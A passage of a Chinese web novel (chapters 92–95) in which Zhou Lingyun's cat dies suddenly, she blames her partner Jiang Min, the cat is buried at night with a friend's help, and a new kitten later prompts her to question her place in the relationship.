[以后对妈妈好一点,她想去就去。] 赵圆给周灵蕴拍了一张月亮的照片,说很高兴认识你,我的朋友。 [小时候,课本上经常出现这句话——很高兴认识你。那时并没有什么真切的体会,现在突然发现,这是多么质朴又纯真的一句感慨啊!] [很高兴认识你,我的朋友。] [我也要“摄取”到你身上的勇敢坚定。] 周灵蕴回复。 可要从一个冷酷的人,变成温情的人,真的好难。 兴头上撤退,赵圆说不聊了,你到家说一声就行了。 周灵蕴噘了下嘴,好吧。 想到要离开姜悯,她抬头看到对面空座黑玻璃里骨架松散的快要凋落的自己,心底涌起许多许多的难过。 进电梯厅,还没来得及看姜悯的鞋,周灵蕴就预感到姜悯不在。 不止此刻,也许整晚都不会出现。甚至明天整天都不会出现。 周灵蕴打开家门,小猫站在门口,一下就摔她脚边,四脚朝天使劲那个扑腾。 “你想我啦——”周灵蕴蹲下身,给小猫抓抓下巴,揉揉肚子。 小猫亢奋,都忙不过来了,抽空“喵呜”两声,舔一下,在她脚边绕来绕去。 “我应该早点回来。”周灵蕴懊恼。 “家里还有你在等我啊,明明就……”她抱着小猫坐在沙发上自言自语。 猫很活泼,奶牛色更添神经质,周灵蕴每次从学校回来,猫都要缠着她玩上好一阵,周灵蕴去拿逗猫棒,它往常定是兴奋不已,这次却兴致缺缺,不住往食盆方向跑。 给猫用的自动喂食机,按理说不会缺粮,周灵蕴开始没反应过来,猫一直冲着她叫,她意识到反常,跟猫过去,才发现喂食机空掉了。 “对不起对不起……”周灵蕴赶紧去给猫开罐头。 猫果然饿极,立即凑到食盆前埋头狂吃,边吃边发出满足嗷嗷声。 周灵蕴坐沙发上给姜悯发消息。 [你怎么没给小猫的喂食器添粮?] 死盯屏幕,毫无动静,周灵蕴丢开手机,检查过饮水器,确定没什么问题,提着垃圾桶去铲屎。 她打扫了下家里,把猫吃空的罐头碗清洗干净,喂食器里添粮,拿上睡衣正准备进卫生间洗澡,忽然听到猫的呕吐声。 也许是饿久,吃太急,猫坐地呕吐,刚吃下去的罐头全吐出来。 猫一直挺胆小,每次有外卖上门,都会跑进房间躲起来。周灵蕴关切上前,一时疏忽,猫受惊,竟是边跑边吐,一路飞窜着!刚打扫过的地板上吐出一条黄河。 周灵蕴呆傻。 猫躲到阳台一角,不见了踪影,周灵蕴按耐住狂跳的心,等待片刻,没听见动静了,才小心翼翼走出,清理猫的呕吐物。 猫是捡来的,吃饭容易着急,刚到家那阵子常常在吐。 问医生,说猫性格如此,容易焦虑,给猫备足粮食别饿着就行。 周灵蕴起先没放在心上,寻思等猫缓缓,胃里舒服了,再喂根猫条,继续观察。 她打扫中途,又见猫从阳台窜出,趔趄几步跌倒在地,突猛烈抽搐起来。 猫四肢划水,喉咙发出凄厉的嘶吼声,嘴边有白沫渗出,周灵蕴完全呆住,两三秒后,才急忙朝猫奔去。 猫状态异常,周灵蕴哆哆嗦嗦抓来手机,找到猫绝育时添加的宠物医生微信,顾不得夜深打扰,拨打语音。 医生听闻大致描述,判断可能是癫痫或心脏病,让她立刻送医。 周灵蕴把猫塞包里,鞋都来不及换,夺门而出。 她还算冷静,提前呼叫网约车,中途根据医生指导,掰开猫嘴查看,防止被呕吐物窒息。 车上,怀里抱着猫,周灵蕴不断拨打姜悯电话,却无人接听。 她泄愤似的,不断质问,问姜悯为什么没给猫续粮。 紧咬下唇,内心被紧张感和焦虑感填满,周灵蕴所有注意力集中在手机屏幕,不敢去看猫。 医生说如果是猫癫痫诱发心脏病,病发前毫无预警,距死亡可能几个小时,也可能只有几分钟。 周灵蕴感觉到了,隔着猫包,猫抽动的频率变弱,它好像没力气了。 她打车到宠物医院,猫交到医生手里,开始抢救。 她呆呆坐在外面大厅长椅,手上全是猫干掉的口水,腥腥的,手机屏幕也沾得都是。 姜悯的电话是这个时候打过来的。周灵蕴手还在发抖,按了好几次才接起来。 “我在开车。”姜悯说才看到消息,“你说小猫怎么了?它怎么了?” 张嘴,周灵蕴手按在自己闷痛的心口,喉咙里塞满了含糊的哽咽。 “你养不好就别养啊。” 第92章 “姜悯,我好恨你。”…… 小猫没有了。 在医院抢救两个小时, 仍被宣告死亡。 周灵蕴不知道这两个小时她怎么过的。 她大脑完全放空,周围人说话、走动,全都感觉不到。像泡在水里, 耳膜微微发胀,视线朦胧涣散, 四肢虚浮无力, 神智游离状态。 值班医生从手术室走出,到她面前, 摘下口罩,却没有立即说话。 残存的理智通过对方反应分析出结果。 周灵蕴手撑在椅面,稍坐直身体,脸上强行扯出个干巴巴的笑, 怀抱侥幸,“医生,我的小猫还好吧?” “对不起……”医生说。 之后的内容,周灵蕴听不大清楚。 嘴唇开开合合,医生提到许多病理和药物方面的专业名词, 又多又杂, 大意是小猫有未被体检出的基因病, 她们已经尽力, 小猫也尽力了,然而生命太过脆弱…… 医生说,这种案例不在少数。 随后安抚, 生老病死,自然规律。她显然是见惯了的,话术熟练。 周灵蕴半张着嘴坐在那,呆呆坐着, 没个响动。 “那,小猫的遗体……”医生面露不忍,但手术室要腾出来治疗下一只猫咪,深夜到访的毛孩子家长在焦急等待。 “我先放到二诊室,你平复一下,然后去看看它。” 周灵蕴试着动了下,没能站起。 “其实……”医生去而复返,“它还有气,最后一口气,你要不要去陪陪它?” 眼底光芒骤闪,周灵蕴起身,“哪里?” 像一场梦,痛苦却如此真实具体,小猫毛发依旧柔软,四肢却在缓慢变得僵硬。 它疲惫至极,双眼却异常大而漆黑,它察觉到主人的靠近,听到主人呼唤自己的名字,一声又一声。 “小猫!” “小猫!” “警长!黑毛警长!” “酷小猫,臭小猫——” 小猫身体微弱起伏,四肢短促抽动,像从前很多次那样,本能回应主人的呼唤。 周灵蕴终于忍不住哭喊出声。 臭小猫真的变成臭小猫了,这两个小时它不知承受了多大的痛苦,小便失禁,半截身子连带尾巴都被尿液浸湿,混杂咸腥的口水味儿。 它是爱干净的小猫,人抱怀里亲近都嫌人手脏,跳开,每次都甩着舌头舔半天。 它难以忍受自己的脏乱,费力张开嘴巴,伸出舌头,虚空卷动一下,想给自己舔舔,可它实在没力气了,脑袋耷拉回去。 周灵蕴大哭,哭声几乎响彻医院。 似回光返照,小猫忽而发出一声浑厚而响亮的嚎叫,它奇迹般站起,诊台上朝主人蹒跚挪动脚步。 周灵蕴虚张着怀抱,它脱力跌倒,头颅垂落在主人掌心。 第一次,那么清晰感受到时间的流逝,却是以小猫的心跳作为计量。 黑色卫衣上沾了好多白色的猫毛,手心黏糊糊,脸哭久,紧绷得难受,像张揉皱的纸,眼皮也刺痛得睁不开。 医生说可以火化,联系宠物殡葬,周灵蕴独自一人,也没个主意,木木点头。 缓了缓,周灵蕴出去洗手,扫码付款时,看到手机上三十多个未接来电。 面无表情划过,她调出二维码,抬头又向医生确认了一遍数字。面容识别不出,手动输入支付密码,连续输错,折腾半天才把钱付过去。 不想回家,周灵蕴就在医院大厅靠墙那排长椅上坐着。 姜悯给她发了一大堆消息。 [你在哪里?] [我到家了,你跟小猫都不在。] [哪个医院,我现在过来。] [人呢,说话。] …… [周灵蕴,别装死。] 手机倒扣在大腿,周灵蕴想,其实怨不到姜悯。 前台值班护士过来跟周灵蕴搭话,医院有小猫的档案,她说对这个名字有很深的印象。 “小猫就叫小猫,听起来好敷衍,哈哈,但当时……欸好像不是你吧?主人姓姜,是个蛮漂亮的女生,是你姐姐吗?” 这是离家最近的一家宠物医院,周灵蕴之前带小猫绝育的时候来过。 她接过护士递来的消毒湿巾,擦了擦手,又擦了擦手机屏幕。 “小猫是……是我姐姐捡来的。” “小猫是流浪猫,流浪猫寿命很短的,没有你们,它可能活不过那个冬天,去年冬天还是挺冷的,我记得城里都下雪了,是吧?” 不太确定,护士拿出手机,翻了翻自己的朋友圈,“嗯,对,下雪了,我拍了照。” 她长长叹了口气,“小猫遇到你们,每天吃香的喝辣的,也过了段好日子,值了。否则以它这个体质,没有充沛的食物,以及安全,温暖又稳定的环境,可能连半岁都活不到。” 周灵蕴感觉好受一些了,“真的吗?” 护士轻轻拍了拍周灵蕴肩膀,“真的。生病没办法……欸人都会死,妹妹,人都会死,别说宠物了。” 她又问,“你多大了?上高中,还是大学?” 周灵蕴摇摇头。 护士说,没有姜悯,小猫活不过那个冬天。 没有姜悯,她也走不出大山。 周灵蕴还是给姜悯发了定位。 下一刻,有人推门而入,熟悉的音色,耳旁呼唤。 “周灵蕴!” 立即站起,周灵蕴望向她。 姜悯,她终于来了。 难受得快要死了,姜悯,你不知道,我真的难受得快要死了。 她太需要她了,前所未有的需要,周灵蕴想扑进她怀里大哭一场。 眼眶泛起潮热,鼻腔酸涩无比,周灵蕴起身迫不及待奔向她。 却在下一秒,瞥见她身后那道熟悉的高挑人影,周灵蕴顿住。 哦,原来是这样。周灵蕴看着她们,前后走进宠物店,穿着户外冲锋衣,依旧美丽鲜亮像服装店橱窗模特一样的她们,想到自己卫衣上沾的猫毛和猫口水,甚至猫尿。 她退后半步。 “怎么回事?”姜悯疾步上前,抓住周灵蕴的手,“小猫呢,发生了什么,我给你打了个几百个电话,你一个没接,消息也不知发一条,你要急死我?” 周灵蕴试着往外抽了下手,“你跟她,你们怎么还在一起。” 她没能抽掉,她没多少力气了。 姜悯加重力道,“我问你猫怎么样了。” 她们完全没办法共频。 小猫躺在地板抽搐时,宠物医院手术室生死未卜时,她向天祈祷时,小猫挣扎着倒在她怀里时,她好希望姜悯陪伴在她身边时,她哭得死去活来时…… 姜悯却和另外一个人在一起。 周灵蕴用力地抽出手指,不想在医院跟她吵架,大步走出店门,站在凌晨一点车流渐稀灯影昏黄的马路边。 姜悯追出,舒颖找护士询问,随后来到姜悯身边,告知结果,“小猫没有了。” 意料之中的事。 周灵蕴的反应已经说明了一切。 姜悯几乎没有任何情绪流露,“那下一步是找宠物殡葬吧?” 她轻轻扯了下周灵蕴的袖子,“还是你想把它埋起来,家后面有个山体公园,我们可以把小猫埋在那里,你有空,想她了,就去看它。” 姜悯超乎寻常的冷静,让周灵蕴感觉恐惧。 她震惊掀眸,“你一点也不难过吗?” 灯下,女人面皮紧绷,眉头肃然,神情凝重。 她紧张、焦虑,还有许多不安。 可就是没有一点伤心。 “你一点也不难过吗?小猫死了。”周灵蕴重复。 姜悯闭了闭眼。 “我找了你一晚上,我回家看到你不在,家里乱糟糟的,小猫也不在。你问我为什么不给小猫喂粮,我想或许是小猫出了什么问题。没给喂食器添粮确实是我的疏忽,但我上午走的时候还看到它在吃饭,舒颖帮我搜索,一顿两顿猫饿不死,然后我们分析,小猫可能突发疾病……” 晚饭,姜悯跟周灵蕴那通电话之后,不知为何,姜悯心中十分不安。 她执意要走,舒颖不放心,说她不在,自己玩着也没什么意思,二人脱离团队,结伴下山后开车回城。 “我收到你的消息,刚到小区门口,舒颖跟我上楼,发现你不在,我们就一起出来找。” 姜悯认真跟她解释一切,“所以,才会有你眼前看到的这幕。小猫没有了,我当然难过,它也是我的小猫,可你已经很难过了,我想你更需要我帮你做一些别的事情。” 周灵蕴低头呆呆看着自己的脚尖,眼泪又流出来,掉在灰黑色的人行道地砖。 姜悯句句有理,可她耳朵里只听到了“我们”二字。 我们,那个“我”,与她无关。 大脑完全被伤痛占据,此刻的周灵蕴一句道理也听不进去。 “可我现在不需要了,我处理好了,我已经处理好了,我交了火化的钱了,还有小猫抢救的钱。” 她用力摇头,“我不需要你也处理得很好,你不在的时候,小猫死的时候,我自己一个人也熬过来了……” 再次崩溃,周灵蕴手臂圈住脸,蹲到地上。 蹲在黑团团的树影里。 归根结底,难道不是因为你对我习惯性的忽略吗? 明明我才是你的女朋友,你也亲口说过,我们不止是恋人,更是亲人…… 你却从来不在乎我的感受,你去陪别人。 这份习惯性的忽略,小猫也受到影响,不然怎么会饿肚子。 不饿肚子,就不会吃噎,不会吃噎,就不会呕吐。 没有呕吐应激,就不会发病,不会死…… 周灵蕴知道自己有点钻牛角尖了。 “都是因为你!”她猛地抬头,朝姜悯大声吼道。 姜悯微怔,环绕在周灵蕴肩膀的手臂僵住。 她眼底漫涌出悲伤。 原来她也是会难过的。她在难过了。 可太迟了,对于周灵蕴来说,这些反应都太迟了。 “姜悯,我好恨你。” 第93章 太阳照常升起 恨是一种极为深刻的, 激烈的情感。恨比爱更为珍贵,亦或是另一种形式的爱。 曾那般欺辱过她的胜利茶厂一家三口,周灵蕴没恨过。 每一次, 回忆的脚步踏入那段过往,攫住她的并非愤怒, 而是恐惧。 那季节下不完的雨, 总干不透的衣服,进水的鞋……如附骨之疽, 某瞬间无征兆抽痛,让她没由来的,即便盛夏烈阳下,也不由得激出一身冷汗。 下意识屏住呼吸, 好像还能闻到男人嘴巴里臭哄的烟酒气。 耳边似乎又响起女人尖利的谩骂声,还有脑海中徘徊不去的…… ——“你没有雨衣喽。” 手指变得冰凉,胃部痉挛疼痛,想逃跑,但被锁住, 也不能跑, 工钱还没领。 即便后来她长大长高, 镜里看到自己早已褪去稚嫩的面庞, 健康的体型和结实的拳头,仍深感无力。 她此刻拥有的这份力量,无法穿越时空, 去救赎当时的自己,打出一场漂亮的反击。 无法弥补的遗憾远超恨意,是一道隐秘的内伤,表面早已愈合, 但只要阴雨来临,便会从骨缝里渗出绵密而持久的酸胀痛楚。 往事在心底沉淀,并非咬牙切齿的恨,而是被岁月磨钝了的悲哀。 更早,被这段记忆覆盖的,是幼年时,老屋门前那场长久的注目。 妈妈最后一次回来看她,给她带了好多漂亮衣裳,还有城里小孩吃的曲奇和巧克力。走的那天,她蹲堂屋里收拾自己的行李箱,说“我五一放假再来看你”。 “啥是五一。” 周灵蕴记得自己当时问了这么一句。她还没开始上学。 她妈笑笑,想跟她说点什么,又觉得没啥必要的样子,摇头。 行李收拾好了,她妈把箱子拎过门槛,走出房子,站院坝里,回头看她一眼,想冲她挥挥手也觉得没啥必要的样子。 走了。 她倚着门框站那看,一直看,眼泪掉下来用袖子擦一下,袖口硬邦邦的鼻涕壳刮痛脸。 女人瘦削的脊背彻底消失在路尽头,周灵蕴当时不知,那是她们最后一次见面。 奶奶从地里回来,扯她进屋换衣裳,嘴里叽叽咕咕,说“你这个妈只顾自己光鲜的,娃娃脏成这样不管”…… ——“她说她还来啊?你也信。” ——“哭个锤子你哭。” 还没上小学的周灵蕴不懂,只觉得心里很难受。 后来也忘了。她从胜利茶厂出来,当时看着她妈走远的那种难受被另一种难受覆盖。 此刻,同样。 她的小猫才一岁多,死她面前。胜利茶厂那段记忆带给她的难受,被小猫离去的难受覆盖。 如果把人生比作一张画布,涂抹在上面的颜色,想达到“覆盖”的效果,一定要比之前的颜色深得多,也厚得多。 周灵蕴简直不敢想,小猫离开她这种难受将来又会被哪一种失去带来的难受覆盖。 她是遵纪守法的好公民,她还很年轻,她跟这世上大多数人一样,身上发生的事,都不是什么能让天塌下来的,能载入史册的,遗臭万年或流芳千古的大事。 就是她妈不要她了,在外面被人欺负了,养的猫死了…… 就这些小事。 是的,就这些小事,压垮她了。受不了,开始哭,无能为力,于是有了怨和恨。 此刻,她只想发泄,把所有的气都撒到姜悯身上,脑袋烧晕,一点道理不讲。 “还不都怪你,带给我小猫的是你,夺走我的小猫的也是你。你就是这样,一直都这样,对我和小猫都是这样……” 周灵蕴站在宠物医院门前,人行道树荫下,双手攥紧拳头,脸涨红,是谴责的一方,却语无伦次,泪流满面。 她徒劳半张着嘴,多少次午夜梦回,她躺在宿舍的小床上,把姜悯骂得死去活来,像一只打赢了仗的大鹅,昂着脑袋,扑打着翅膀,简直威风八面。 现在机会终于来了,却好像不太骂得出来。 雪地里一台哑火的车,嘶嗓吼几声,点不着没动静了。 周灵蕴蹲下去,然后一屁股坐地上。她把脸圈进臂弯,埋在膝盖,不想说话了。 姜悯垂手,始终安静。 面对周灵蕴的指责,她无从辩驳,现在也不是跟她争输赢的时候。 舒颖无言矗立在旁,感到有些苦恼地捶了捶额头。 许久,捏捏眉心,姜悯长吸一口气,蹲到周灵蕴身边,“我们把小猫带回去吧,埋葬它。” 周灵蕴甩了下肩膀,“你别碰我。” 姜悯蹙眉。 她极不悦,音色一瞬变得冷硬,“周灵蕴你看着我说话。” 被震慑到,抬头,仍不甘示弱怒视,周灵蕴死盯姜悯。 “你什么态度。”姜悯表情严肃,“你摸摸自己的良心,你问自己,小猫的死真的跟我有关系吗?你一周五天在学校,家里是谁在给它铲屎喂粮,如果位置颠倒,今天送小猫进医院的是我,看着小猫死去的是我,你觉得我会这样对你吗?这样指责你吗?” 周灵蕴眼底锐亮的光芒黯淡下来。 姜悯气极,“你现在越来越无法无天了我发现,惯得你,蹬鼻子上脸,跟我说话这么不客气,别忘了你的今天是谁给的……” “姜悯!”舒颖骤然出声打断。 她虚环住姜悯肩膀,晃晃,“好了好了,我们先处理事情,小猫是火葬还是土葬。别的都无关紧要。” “不是无关紧要。”姜悯微挣了下,火气股股窜上来了。 “她怎么骂我的你没听见啊?我们的事情你都知道,你评评理,小猫死了,能赖我?朝我发什么脾气。” “我评价什么……”舒颖扯她两把,“她还是小孩的嘛,你都快奔三的人了,让着点。” 姜悯不服,说天子犯法还与庶民同罪呢,凭什么她年纪大就要让着年纪小的,哪条法律规定的? “没这种道理。” “我这是带了两个小孩啊——”舒颖无奈又好笑,拉着姜悯进医院。 “入土为安,入土为安,先处理小猫。” 舒颖开车把姜悯和周灵蕴送回小区,周灵蕴去收拾小猫的玩具,跟小猫一起装个大纸箱。 周灵蕴蹲在纸箱面前,摸到彻底变硬变冷的小猫,不住地掉眼泪。姜悯瞧着心疼,几次上前想跟她道个歉,好好说几句话,可心中总有股别扭。 皱着,拧着,揪着,迈不动步。 舒颖外卖了两把小铲,她做事仔细,甚至还买了个强力手电筒,带她们下楼,去找姜悯说的那个山体公园。 凌晨两点,三人在小区后面山上,寻了块平坦好挖的地方,将小猫埋葬。 舒颖半开玩笑,“半夜抛尸这种事情,也是让我干上了,所以人还是得活着,活着什么事情都能遇到。” 周灵蕴忍不住笑了,险些喷出大鼻涕。 姜悯埋头奋力挖坑。 把小猫放进土坑,泥土回填,周灵蕴又去林子里刨了些松针和树叶盖上。 期间她们还被巡逻的保安揪住盘问,好一通解释。 回到姜悯家,接近凌晨四点,舒颖当是自己家,熟门熟路的,去厨房看了眼冰箱,突发奇想说“我给你们做早餐吧”? 舒颖她妈以前开包子铺的,她把面盆端到客厅来揉,说她小时候,也是每天凌晨四点爬起来帮家里干活。 “多少年没做了,也没生疏。上次做还是上次,哈哈……我平时呢,自己一个人,实在没兴致,你们运气蛮好,我运气也蛮好,嗯,有机会展示。” 周灵蕴蹲在沙发边看她,眼睛还肿着,头发乱七八糟,衣上全是猫毛。 姜悯翘脚坐在摇椅,仰望天花板,发呆。 等发面,舒颖洗净手,拉着周灵蕴的袖子进她房间,“折腾一晚上了,去洗个澡吧,洗完出来吃包子。有黄豆吗?家里,我再煮锅豆浆。” 周灵蕴吸吸鼻子,说有,“抽油烟机下面左手边那个柜子,我买来也是打算做豆浆的。” “好。”舒颖点头,“洗吧,洗完出来能舒服多,我去做。” 周灵蕴站那没动,低头扯了下袖口的猫毛。 她深色的衣服不多,尤其在养猫之后,但她每次离家前,都会专程挑身黑衣穿回学校。把猫毛带去学校,就好像能把跟姜悯,以及关于家的感觉一起带走。带在身边。 “对不起。”周灵蕴没头没脑的一句。 舒颖停在房门口,回头笑笑,“怎么,背地说我坏话了?” 周灵蕴老实巴交点头,“没少说。” 沉了口气,舒颖调转脚步回到她身边,仍是笑着,“没关系,我确实不是什么好东西,恨我骂我的人多得我数不过来。” 周灵蕴摇头,不认同,“我知道你们是很好的朋友,我以前是乱说的,今天也是,那些不过是气话。我现在觉得你很成熟,又很厉害,还很冷静。我想变得跟你一样。” 舒颖看着她,像看到小时候的自己。 她比她们都大,她们正经历着的,都是她经历过的,她觉得有必要分享一点经验。 “你不过是想被看见,想得到爱人的关注,你的需求其实很简单。说了不该说的话,做了不该做的事,那又如何?别太自责,别给自己拔得那么高,你只是个普通人。你跟姜悯的关系,还得靠你们自己摸索,这点我帮不了,因为我自己也是乱七八糟啊!你看到的,现在的我,你觉得很厉害,可仍有很多事是我解决不了的。但如果只是关于你……” 舒颖说,想做什么就去做吧,改变现有的生活节奏,开始之前,恐惧是必然,但只要开始行动,你会发现一切都那么顺理成章,你所有的担忧和顾虑都消失了。 “天塌不下来,太阳照常升起。” 第94章 她的小猫独一无二…… 还在舒颖那番话里发神, 周灵蕴视线飘忽,没有焦点。 “好了好了。”舒颖把住周灵蕴肩膀,轻轻往卫生间方向推, “去洗澡吧。按部就班,先把眼前的事一件件解决。” 热水兜头淋下, 周灵蕴紧闭双眼, 水珠砸在脸上,冲刷眼泪。 她忆起舒颖脸上那种大姐姐式柔柔的笑, 以及对方轻却有力的话语。 ——“别怕,该吃饭吃饭,该睡觉睡觉。” ——“兵来将挡,水来土掩。” ——“船到桥头自然沉?哈哈。” 以前没人跟她说这些。 她是没妈的小孩, 从十几岁就寄宿在别人屋檐下。环境是很好的,有吃有喝,冬暖夏凉。只是那个提供庇护的人,自己也活得摇摇晃晃,给不了她什么笃定的人生信条。 两个糊涂蛋, 一个大糊涂, 一个小糊涂, 愣头磕脑, 日子磕磕绊绊。 舒颖劝完周灵蕴,又转身去哄瘫在沙发一动不动的姜悯。 她脚尖轻轻踢了踢姜悯小腿,“你呢?不去洗洗, 一身晦气。” “你刚才跟她说了什么?”姜悯抬起头,眼睛干涩,直直地问道。 舒颖垂睫沉默几秒,低叹一声。 她紧挨着姜悯坐下, 沙发陷下去一块,声音难得正经。 “这个年纪的小孩,自尊心就像玻璃,看着硬,一敲就碎。有些话说出来真挺伤人的,虽然我知道你心里不是那么想的,她对你,对你们的关系,对你这个人,也有自己的判断。但……” 舒颖顿了顿,“一次又一次,说得多了也不由得人不信了,你觉得呢。” 自大、刻薄、卑劣。 在被舒颖如此直白剖开之前,在宠物医院门口,在那棵灰扑扑的行道树下,话出口的瞬间姜悯就后悔了。 她知道过分了,不当心踩碎了什么东西,可她习惯站在高处,习惯被仰望,现在想下,环顾四周却找不到台阶,只能傻傻站着,保持姿态维持着最后的体面。 她耷拉着眼皮,手指无意识抠弄着衣摆抽绳的金属扣,一言不发。 舒颖看着她这副样子,点头表示明了,不再多言。 赶紧塌吧。 小猫走了。周灵蕴把那个小小的印着爪印的猫饭碗和半旧的猫砂盆洗净晾干,然后收进储物室最深处。 打扫卫生时,她又从沙发底下勾出几个被啃咬脱线的毛绒球,还有那个她亲手缝制的,针脚歪歪扭扭的鱼摆摆。 鱼摆摆里头塞的白棉还是从姜悯枕头里掏出来的。 周灵蕴蹲在地板,对着面前几件小东西发了很久的呆。 最后,它们也被一一洗净晾晒在阳台。 天气很好,午后阳光斜照,小猫往常最喜欢在这儿躺着晒太阳了。 它的猫抓板全新,周灵蕴捏着它两个小爪教过,搞不懂,它是脑瓜不灵,学不会,还是更喜欢抓沙发和窗帘。 小猫走了,带走这个家最后一点喧闹的鲜活的生气。 周灵蕴和姜悯之间的关系,也在一夜发生质变,肉眼可见的速度凋萎腐烂。 她们不再争吵,甚至连对话也变得稀少而精简。 可怕的沉默像一场浓雾,弥漫在家的每一个角落,比以往她们任何一次激烈的争吵都更让人感到窒息和绝望。 周灵蕴返回学校,姜悯则把自己深埋进公司事务。 空间上的距离一下子被拉得极远,曾经每晚雷打不动,准时亮起的视频通话请求,如今静静躺在手机,再也无人提起。 被抽走所有力气,两人都兴致缺缺,对周遭的一切失去了经营的心情。 视频连接即使偶尔响起,画面两端也常是沉寂的。 周灵蕴在看书,镜头对着她低垂的侧脸和桌面的一角。 姜悯还在加班,屏幕里只有她敲击键盘的单调声响和疲惫的眉心。 通话持续十几分钟,对话不超过五句。 “吃了。” “嗯。” “今天过得怎么样。” “没什么两样。” “累了?” “有点。” “睡吧。” “好。” 简短克制,没有任何情绪起伏,所有交流只是为完成一项不得已的任务。 她们都在刻意回避着某个共同的话题,回避着那个一旦提起,就会让所有努力维持的平静瞬间崩盘的巨大伤口。 曾经那份黏腻的拉扯感被悲伤所取代,但这悲伤并未让她们靠近,反而像一道冰墙,横亘在两人之间。 她们不再向对方疯狂而偏执索取答案,也不再宣泄情绪,彼此默守哀恸,平行轨道上渐行渐远。 就这样,冰冷的沉默持续蔓延,直至周灵蕴暑假开始。 那是一个闷热的傍晚,天昏黄,瞧着要下雨,周灵蕴刚从学校回来不久,正望着窗外发呆,等姜悯回来吃晚饭。 玄关处传来电子锁开启的声音,她下意识回头,瞧见熟悉的身影,怀里抱个黑色的手提式猫包,其中有细弱猫叫声传来。 “啊?你回来了啊。”姜悯显然意外,下意识背身遮挡,动作略显僵硬。 周灵蕴起身,“下午回来的。”语气是最近几月惯常的客气。 姜悯点头应声,目光有些游移。 “猫?”周灵蕴走向她,“哪里来的小猫。” “就是……”尴尬抓头,姜悯无措,最后干脆破罐破摔,打开猫包拉链。 “我托人帮我找的,猫妈妈是布偶,猫爸爸是奶牛,那一窝五只里面,这是唯一的一只长毛奶牛……” 跟她们从前那只小猫一样。 毛茸茸的小脑袋探出,好奇左右张望。 这只小猫不怕人。 “这……”周灵蕴声音卡住了,呼吸微滞。 姜悯不敢看她,低头,手指轻轻搔了搔小猫的下巴。 “其实,是舒颖在她朋友圈看到的,她当时给我发了照片,问我要不要。我想了很久,还是决定要,等了两个多月,等小猫断奶……也是想着你放假了,家里能添点活气。” 周灵蕴心脏微一阵缩痛。 猫包搁在餐桌上,她手搭在桌沿,小猫自来熟,脑袋蹭了蹭她的手指,又伸出软刺的小舌头舔了下。 周灵蕴霎时心软得一塌糊涂。 她手指小心翼翼触碰这团柔软的小生命,随即掀眼看向姜悯,眼底翻涌起久违的晶莹。 这阵日子,她们都很不好过。 她有好多话想对她说,她们过去的亲密,此刻的疏远,还有未知的未来…… “又是为了我吗?”周灵蕴试着牵起嘴角朝她笑一下。 她们的第一只小猫,也是在类型情景下来到这个家的。 “以前的猫砂盆和猫碗,还有你做的小玩具什么的……”姜悯抓抓额角,想说浪费了,又担心冒犯到对方,余下的话含糊着吞回去。 新小猫挺会来事,主动示好舔过她的手,周灵蕴哼笑,“它都这样了。” 心机猫。 因着这只小猫,坚硬的冰层终于裂开一丝缝隙。 她们之间,对话开始变多,虽谨慎,却不再尖锐。 “该给它取个什么名字?”第二天早上,姜悯看着正在好奇探索沙发脚的小猫,状似随意问道。 “都行,你决定就好。”周灵蕴把煮好的早晨端来餐桌。 天气热,吃得也清淡,餐盘里是水煮的贝贝南瓜和鸡蛋,杯里盛的豆浆。 “还是你来想。”姜悯把决定权推回去,在学着让步。 周灵蕴摇头,“我想不到。” 她拉开餐桌椅,坐下开始吃饭。 早晨周灵蕴做了姜悯那份,没人喊,姜悯怯生生不太敢动的样子,周灵蕴瞄了她一眼,咳嗽声。 “先吃饭吧。” “嗷——”姜悯这才慢吞吞挪去餐桌。 此后,关于新小猫的姓名,以及各品牌猫粮的成分对比,找到了一个安全且共同的议题,她们交流自然许多。 姜悯的语气是前所未有的,堪称小心翼翼的柔和。 她每天下班回来,都会驿站带来新的猫玩具,她把玩具放在桌上,说网上看到,觉得好玩就买了。 周灵蕴则会拿起玩具,对着小猫晃一晃,问猫二你喜欢吗? 猫二是新小猫的临时名字。 她们都在借着这只小猫,笨拙靠近,试图用这团新的小生命,黏合那些破碎的过往。 周灵蕴把猫抱在怀里,感受它细弱的呼吸和心跳,那一刻,她是真的想把握住这份失而复得的暖意。 她试图说服自己,或许可以借此忘却曾经所有的不愉快,将那些尖锐的悲伤和冰冷的沉默统统扫进角落,与姜悯,与这个家,重新开始。 她努力投入,比以往更加细心照料这只新的小猫。 然而,有些鸿沟,注定无法填平。 猫二跟小猫完全不一样。 猫二是有猫妈妈带大的,它神经松弛,随时随地大小睡,姿态毫无防备,周灵蕴把它从地板捞起,它像只露馅的黑芝麻汤圆,软趴趴,拿在手里玩,怎么折腾都不醒。 它毛发蓬松柔软,是干净的云朵,眼神清澈无辜,带着不谙世事的懵懂,声音也娇滴滴。 猫二是一只很好很漂亮的小猫。但它不是周灵蕴原本的那只小猫。 她的小猫,会在她低落时,用湿漉鼻尖强行拱开她手掌,笨拙安慰。 她的小猫,会在她与姜悯争吵时,来到她们面前,面目担忧地看着她们,焦急踱步,并一声连着一声叫,试图劝阻。 她的小猫,是那个针脚歪扭,棉花外露的鱼摆摆唯一认证的猫主人。 是她与姜悯那段混乱的,温暖的,充满缺憾的旧时光里,不可复刻的见证者。 她的小猫独一无二。 小猫离去留下的空缺,是任何完美的替代品都无法填补的。 而这个认知,像一道刺目的光,某个瞬间照亮了她心中另一处更为隐秘而庞大的阴影。 第95章 你现在就走,离开我的家…… 周灵蕴抬起头, 目光穿过客厅,望向正在厨房安静冲泡咖啡的姜悯。 猫二太松弛了,吃饭吃一半能吃睡着, 脑袋栽食盆里,就那么睡, 也不嫌硌得慌。 它跟小猫还是不一样。 小猫曾经是流浪猫, 视饭如命,刚到家那阵, 一天要吃五六顿! 周灵蕴担心它撑坏自己,一包奶糕分多次喂,每次乒乓球大小,它吃完不走, 就搁饭盆面前守着,还叼着它的小玩具一起守着。 当然、当然。 猫二也很可爱,她非常喜欢猫二。 只是…… 每次看到猫二,她总不由得想起小猫。 小猫刚到家那阵,模样特别丑。它瘦, 眼屎多, 猫味儿重, 还总爱拉肚子, 她试了好几种粮才把它体质调理好。 养到四个月大,小猫就出落得很漂亮了,聪明活泼, 黏人,爱扑咬,小玩具拆封扔地上没几天就报废,永远精力充沛, 把窗帘和沙发抓得烂兮兮。 猫二有妈。有妈的孩子是个宝,猫二长得漂亮,温驯,对玩具兴趣不大,喜欢睡觉。 周灵蕴发现了一个全新的角度。 极其刁钻的角度。 姜悯曾经,是否也像她现在看猫二这般,心思沉沉,对照分析。 她之于姜悯,是否如同猫二之于她? 是精心挑选,试图用以覆盖旧日痕迹的完美替代品? 